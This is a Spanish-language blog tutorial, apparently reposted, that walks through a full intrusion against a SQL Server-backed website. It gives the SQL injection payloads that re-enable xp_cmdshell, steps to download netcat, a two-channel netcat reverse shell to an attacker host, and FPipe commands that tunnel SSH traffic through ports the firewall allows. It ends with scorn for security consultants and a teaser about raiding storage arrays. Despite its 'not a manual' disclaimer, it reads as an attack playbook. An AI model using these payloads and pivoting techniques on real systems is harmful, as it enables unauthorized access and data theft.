[Fpipe] El cuerpo de una intrusión - Tutorial: falseando tráfico entre hosts

Hoy les voy a hablar de una herramienta indispensable en todo toolkit de cualquier intruso, su comprensión marca diferencia no solo en el éxito de toda intrusión sino también en muchas soluciones de la vida laboral.

Imaginemos el siguiente entorno, poseemos acceso a un host el cual fue vulnerado con anterioridad… El siguiente ejemplo es un ejemplo real, que puede ser aplicable a cantidad de sitios. Digamos que se trata de un método un tanto “genérico” el cual sirve para entender el cuerpo de una intrusión. Este es un paper explicativo, mas no un manual de intrusión, por tal motivo explicaré el cuerpo de la intrusión pero la confidencialidad de los datos será guardada, al final de cuentas lo importante es poner en relieve las distintas técnicas usadas para vulnerar un sistema de información por completo.

Bien, no es necesario explicar SQL injection pues es una vulnerabilidad muy trillada pero bastante incurrida hoy en día, así que partiremos de un host el cual posee esta vulnerabilidad: SQL injection.

El payload de esta intrusión entonces es SQL injection, lo primero que se nos viene a la cabeza es brincar las validaciones a nivel servicio web, pero si se es un poco mas malicioso fácilmente se puede encontrar la manera de ejecutar código remoto en el equipo probando distintas sentencias y analizando los errores: para este ejemplo completaremos la sentencia en un textbox de la siguiente manera:

“lo_que_sea ‘; select * from –” nos envía un error de ole DB:

Microsoft OLE DB Provider for ODBC Drivers error ’80040e4d’

(Cantidad de páginas poseen este error, por ello la importancia de tratar este tema), Esto significa que podemos ejecutar código SQL, con el usuario por default, indagando un poco mas, mediante enumeración del host podemos percatarnos que el usuario dueño de la base de datos es “webmail”.

Microsoft OLE DB Provider for ODBC Drivers error ’80040e4d’
[Microsoft][ODBC SQL Server Driver][SQL Server]Login failed for user ‘webadmin’.
/portal/includes/conexion.asp, line 6

A estas alturas sabemos que se trata de SQL server, basta leer las cabeceras del html e interpretar las rutas del index… cuando se intenta ejecutar código en el servidor remoto mediante sentencias de tipo “EXEC master.dbo.xp_cmdsh ell ‘cmd.exe dir c:’” se obtienen errores de privilegios de este tipo o parecidos:

[Microsoft][ODBC SQL Server Driver][SQL Server]Failed privileges. error not found.

Bien, la mayor parte de los administradores normales poseen la cultura de cuidar que el dueño de la base de datos no posea privilegios para ejecutar comandos en la consola de windows, pero no todos poseen la cultura para evitar que este usuario pueda autoescalarse, por lo tanto podríamos tratar ejecutando los siguientes procedimientos almacenados directamente en la textbx afectada:

lo_que_sea ‘;EXEC sp_configure ‘show advanced options’,1 –
lo_que_sea ‘;RECONFIGURE –

lo_que_sea ‘;EXEC sp_configure ‘xp_cmdshell’,1 –
lo_que_sea ‘;RECONFIGURE –

Esto no arrojara errores a nivel front-end pues son instrucciones que se ejecutan en back-end, posteriormente, podríamos verificar mandarnos un ping a nuestro servidor y verificar con un sniffer que este ping en realidad este llegando a nuestro equipo:

lo_que_sea ‘;EXEC master.dbo.xp_cmdsh ell ‘cmd.exe ping xxx.xxx.xxx.xxx’ –

Si se encuentra que el sniffer escuchando en el host intruso esta recibiendo paquetes de tipo ICMP provenientes del equipo vulnerado, habremos logrado el primer éxito, en realidad nos encontramos ejecutando código remoto. En este punto es en donde ahora entra el redireccionamiento de tráfico.

Si podemos ejecutar código remoto, en el host B podríamos sin ningún problema realizar un script que baje de un servidor FTP nuestro famoso y útil netcat, para voltear la shell y obtener completo control del servidor, esto mediante sentencias únicas, o vernos mas hábiles usando WSH:

declare @o int
exec sp_oacreate ‘wscript.shell’, @o out
exec sp_oamethod @o, ‘run’, NULL, ‘ftp get———————-’
etc…
etc…
etc…

La manera en la cual se transfieren las herramientas para tomar control del host vulnerado ya es lo de menos y cuestión personal de cada intruso pues puede realizarse mediante un simple tftp o escondiendo las entradas bajando primero con ftp wget y operando en background la transferencia de archivos y de esa manera no dejar huella, en el mejor de los casos se colocaría netcat en el host vulnerado y bastaría ejecutar un netcat inverso de la siguiente manera:

host atacante:  nc -vv -l -p 75
nc -vv -l -p 76
host victima:    nc <ip_host_atacante> 75 | cmd.exe | nc <ip_host_atacante> 76

De esta manera se conseguiría una shell del sistema vulnerado transmitiendo por 2 canales y brincando un firewall débilmente configurado. Este es el mejor de los casos y casi nunca es así, todo sysadmin y administrador de seguridad actualmente contrata empresas terceras (Afina, ligtech, Netrix, Scitum etc.) las cuales administran y configuran complejos firewalls a nivel de iptables o a nivel ID’s o IP’s, si nosotros intentaremos realizar una conexión inversa de esta manera en un ambiente real y productivo, generalmente no cerraría el circuito, debido a que solo permite acceso, a puertos claves y el tráfico que circula por él. Para esto basta realizar un nmap a cantidad de sitios que tan solo muestran tener en escucha 2 o 3 puertos, (por lo general 80,443,53,135), esto fortalece en gran medida la seguridad de los sistemas, pues a pesar que se tiene comprometido un servidor resulta a simple vista imposible manipularlo a nuestro entero gusto.

Otro punto importante a considerar es que el host que tiene el rol de front-end, es decir el web server que nosotros podemos ver y el cual ahora se encuentra vulnerado, no posee la información sensible ni importante, pero fácilmente podemos ver en que host se encuentra mirando y analizando las peticiones redirigidas por medio del manejador de bases de datos… recordemos que a eso si tenemos acceso, pues esa es la victoria de inyectar código SQL arbitrario.

Si no es posible realizar una conexión directa con el web server debido a un firewall o a un IDS, mucho menos podremos conectar a este tercer host que esta aún mas atrás del firewall. Aquí es en donde se debe poseer el mayor ingenio y background, un sysadmin se siente protegido por detrás de su cortafuegos, por lo tanto ese servidor debe poseer mas de un servicio de conexión remota. Ahora solo falta descubrir de cual se trata, para ello se necesita redireccionar el trafico, de tal manera que el servidor que logra ver al otro que nosotros no vemos pero sabemos que existe envié trafico hacia nosotros por un puerto permitido por el firewall y cierre el circuito permitiéndonos conectar al servidor de en-medio (webserver) y que este nos redireccione al servidor que deseamos mirar (DBserver).

Para esto existe la herramienta llamada fpipe (para Windows) desarrollada por foundstone,se trata de un emisor-receptor de puerto origen TCP, con fpipe podemos realizar una secuencia TCP con un determinado puerto origen, un puerto servidor a la escucha, y un puerto destino remoto, que es precisamente aquel al que estamos tratando de acceder detrás del firewall. Cuando fpipe se ejecute mantendrá un puerto a la escucha en espera de conexión, cuando esta llegue, conectará con la maquina en el puerto destino especificando el puerto local especificado, cerrando así el circuito y falseando el tráfico del host intermedio al host final.

Puede ser bajado desde aquí: http://www.foundstone.com/us/resources/proddesc/fpipe.htm

He aquí su sintaxis:

C:\descargas\fpipe2_1>FPipe.exe –h
FPipe v2.1 – TCP/UDP port redirector.
Copyright 2000 (c) by Foundstone, Inc.
http://www.foundstone.com

FPipe [-hvu?] [-lrs <port>] [-i IP] IP

-?/-h – shows this help text
-c    – maximum allowed simultaneous TCP connections. Default is 32
-i    – listening interface IP address
-l    – listening port number
-r    – remote port number
-s    – outbound source port number
-u    – UDP mode
-v    – verbose mode

Example:
fpipe -l 53 -s 53 -r 80 192.168.1.101

This would set the program to listen for connections on port 53 and
when a local connection is detected a further connection will be
made to port 80 of the remote machine at 192.168.1.101 with the
source port for that outbound connection being set to 53 also.
Data sent to and from the connected machines will be passed through.

C:\descargas\fpipe2_1>

Una prueba sencilla con la cual se puede probar la funcionalidad de esta útil herramienta es redireccionando todo el tráfico de entrada en el puerto 443 con una ip fuente a nuestro equipo al puerto 34567 usando la siguiente sintaxis:

fpipe -v -l 34567 -s 443 -i 192.168.1.39 -r 443 xxx.xxx.xxx

Donde:  
xxx.xxx.xxx.xxx = a la ip del host origen
192.168.1.39= la ip del target
443=el puerto origen (el pto de donde proviene todo el tráfico que se quiere redireccionar).
34567= el puerto salida, siendo el resultado de la redirección del tráfico entrante.

Ahora el equipo se encuentra escuchando todo el tráfico que proviene de esa ip origen si nosotros verificamos nuestros puertos en escucha podremos corroborar que en efecto el puerto 34567 se encuentra listening. (netstat -an).

Ahora si en nuestro navegador colocamos nuestra ip especificando el puerto 34567 de la siguiente manera:

https://192.168.1.39:34567

Podremos observar que todo el tráfico que entra de nuestro navegador por el puerto 443 se ve reflejado en nuestra ip por el puerto 34567, Fpipe se encuentra redireccionando todo lo que proviene en particular de la ip origen por el puerto 443, hacia nuestro equipo redireccionandolo hacia el puerto 34567.

Evidentemente de nada nos sirve redireccionar tráfico web, para nuestro caso, que pasa si ejecutaramos fpipe escuchando en un puerto donde que el firewall permite la salida de la siguiente manera:

Fpipe.exe -v -l  135 -s 22 -i xxx.xxx.xxx.xxx –r 22 yyy.yyy.yyy.yyy

Donde:
xxx.xxx.xxx.xxx= a la ip del equipo vulnerado mediante sql injection.
yyy.yyy.yyy.yyy= a la ip del equipo target real.
r 22= al puerto que tratamos de conectar por detrás del firewall.
s 22= el puerto exacto origen.
l 135= el puerto permitido por el firewall.

Ahora el tráfico que corresponde al servicio de ssh va enmascarado al puerto 135 que es publicado mediante web (pto 80), ahora alcanzable desde nuestro propio equipo tercero, el cual es el atacante. Obviamente este comando debe ser ejecutado mediante la inyección de código SQL pues el objetivo es conseguir una shell brincando el firewall mediante la redirección de tráfico.

Aún en este punto faltaria romper el password de SSH, lo cual es muy dificil de conseguir, pero si ya se tiene conexión desde un tercer equipo por detrás del cortafuegos, se pueden verificar mas opciones para evitar vulnerar ssh, que pasaria si se enmascara el trafico por el puerto 6000 (pto no asignado en servicios windows standares), como trafico DNS 53 al equipo señuelo, para despues voltear la shell desde nuestro equipo mediante SQL injection?, estariamos brincando el firewall y a la vez realizando un socket que evidentemente nos arrojaria una shell con privilegios del usuario que ejecute en ese momento el explorer.exe o el dueño del home actual en caso de un equipo Unix.

Las posibilidades son infinitas, este paper no trata de ser un manual, es un paper que brinda conocimiento acerca de las distintas técnicas reales de intrusión. Por ello la falta de pantallas que evidencien la efectividad de estas técnicas, las cuales no son ficticias basta entrar a cualquier canal IRC donde abunden intrusos para darse cuenta la tendencia de las mismas. Para nuestra fortuna empresas como Netrix, Afina, Ligtech, Scitum que son las que mas presencia tienen en el mercado de la seguridad, poseen “consultores” o “especialistas” nada experimentados en el ámbito real del analisis y ejecución de vulnerabilidades, por lo general son cualquier profesionista con conocimientos vagos en informática que ejecutan plantillas de ACL’s y configuración estandarizada en cualquier ámbito, basta obtener plantillas básicas de iptables en www.sunsolve.com para darse cuenta cual es dicha estandarización y ahorrarnos tiempo y esfuerzo tratando de adivinar que es mejor.. si brincar el cortafuegos o vulnerar la página web de nuestro objetivo.

Un punto mas a nuestro favor si es que estos “especialistas de la seguridad certificados” no esconden target principales de Bases de Datos, engorrecen ACL’s para evitar ver Bases de Datos, ocultan información de los gestores pero no esconden las Ip’s de los sistemas de storage, por lo tanto una vez vulnerado un equipo de la recepción de la empresa, podemos alcanzar la ip de un Clariion o de un celerra (sistemas de storage de emc) las cuales almacenan a nivel disco esa información, basta conocer un poco de storage para vaciar información valiosa sin siquiera tocar los manejadores de bases da datos. Pero bueno, en otra ocasión escribiré algo acerca de como encontrar targets de emc facilmente vulnerables.

Espero haberme explicado. Saludos !!!.

Fuente: http://jesusssx.wordpress.com/

Author & Editor

Ingeniero, me gusta la cyberseguridad, la programación y el blockchain.